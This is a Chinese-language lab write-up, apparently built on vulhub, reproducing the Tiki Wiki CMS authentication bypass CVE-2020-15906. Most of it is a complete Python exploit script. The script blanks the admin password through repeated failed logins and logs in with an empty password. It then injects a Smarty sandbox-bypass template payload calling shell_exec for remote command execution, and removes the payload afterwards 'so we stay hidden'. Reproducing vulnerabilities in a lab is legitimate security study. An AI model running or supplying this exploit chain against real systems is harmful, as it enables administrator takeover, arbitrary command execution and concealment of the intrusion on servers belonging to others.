简介
漏洞环境不另作说明,均为vulhub。
参考链接:
TikiWiki是基于PHP、ADOdb以及smarty开发的CMS(内容管理系统)/门户系统/群件(Groupware)系统。更重要的是TikiWiki是一个基于LGPL协议的开源工程,她由来自全世界范围的的开源爱好者、捐赠者参与开发维护的。
Tiki Wiki CMS Groupware 认证绕过漏洞(CVE-2020-15906)
参考链接:
- https://github.com/vulhub/vulhub/blob/master/tikiwiki/CVE-2020-15906/README.zh-cn.md
- https://blog.csdn.net/xuandao_ahfengren/article/details/114392681
Tiki Wiki CMS 在21.2, 20.4, 19.3, 18.7, 17.3, 16.4前存在一处逻辑错误,管理员账户被爆破60次以上时将被锁定,此时使用空白密码即可以管理员身份登录后台。
漏洞复现
启动环境,环境中使用的是Tiki Wiki CMS 21.1。环境启动后,访问http://your-ip:8080
可以看到其欢迎页面。
在该漏洞环境中,已经存在P神写的poc,使用如下命令执行:
python poc.py [your-ip:port] / [command]
。
该POC先使用CVE-2020-15906绕过认证,获取管理员权限;再使用Smarty的沙盒绕过漏洞(CVE-2021-26119)于后台执行任意命令。
poc内容:
import requests
import sys
import re
def auth_bypass(s, t):
d = {
"ticket" : "",
"user" : "admin",
"pass" : "trololololol",
}
h = { "referer" : t }
d["ticket"] = get_ticket(s, "%stiki-login.php" % t)
d["pass"] = "" # blank login
r = s.post("%stiki-login.php" % t, data=d, headers=h)
r = s.get("%stiki-admin.php" % t)
assert ("You do not have the permission that is needed" not in r.text), "(-) authentication bypass failed!"
def black_password(s, t):
uri = "%stiki-login.php" % t
# setup cookies here
s.get(uri)
ticket = get_ticket(s, uri)
d = {
'user':'admin',
'pass':'trololololol',
}
# crafted especially so unsuccessful_logins isn't recorded
for i in range(0, 51):
r = s.post(uri, d)
if("Account requires administrator approval." in r.text):
print("(+) admin password blanked!")
return
raise Exception("(-) auth bypass failed!")
def get_ticket(s, uri):
h = { "referer" : uri }
r = s.get(uri)
match = re.search('class="ticket" name="ticket" value="(.*)" />', r.text)
assert match, "(-) csrf ticket leak failed!"
return match.group(1)
def trigger_or_patch_ssti(s, t, c=None):
# CVE-2021-26119
p = { "page": "look" }
h = { "referer" : t }
bypass = "startrce{$smarty.template_object->smarty->disableSecurity()->display('string:{shell_exec("%s")}')}endrce" % c
d = {
"ticket" : get_ticket(s, "%stiki-admin.php" % t),
"feature_custom_html_head_content" : bypass if c else '',
"lm_preference[]": "feature_custom_html_head_content"
}
r = s.post("%stiki-admin.php" % t, params=p, data=d, headers=h)
r = s.get("%stiki-index.php" % t)
if c != None:
assert ("startrce" in r.text and "endrce" in r.text), "(-) rce failed!"
cmdr = r.text.split("startrce")[1].split("endrce")[0]
print(cmdr.strip())
def main():
if(len(sys.argv) < 4):
print("(+) usage: %s <host> <path> <cmd>" % sys.argv[0])
print("(+) eg: %s 192.168.75.141 / id"% sys.argv[0])
print("(+) eg: %s 192.168.75.141 /tiki-20.3/ id" % sys.argv[0])
return
p = sys.argv[2]
c = sys.argv[3]
p = p + "/" if not p.endswith("/") else p
p = "/" + p if not p.startswith("/") else p
t = "http://%s%s" % (sys.argv[1], p)
s = requests.Session()
print("(+) blanking password...")
black_password(s, t)
print("(+) getting a session...")
auth_bypass(s, t)
print("(+) auth bypass successful!")
print("(+) triggering rce...
")
# trigger for rce
trigger_or_patch_ssti(s, t, c)
# patch so we stay hidden
trigger_or_patch_ssti(s, t)
if __name__ == '__main__':
main()
漏洞修复
升级版本。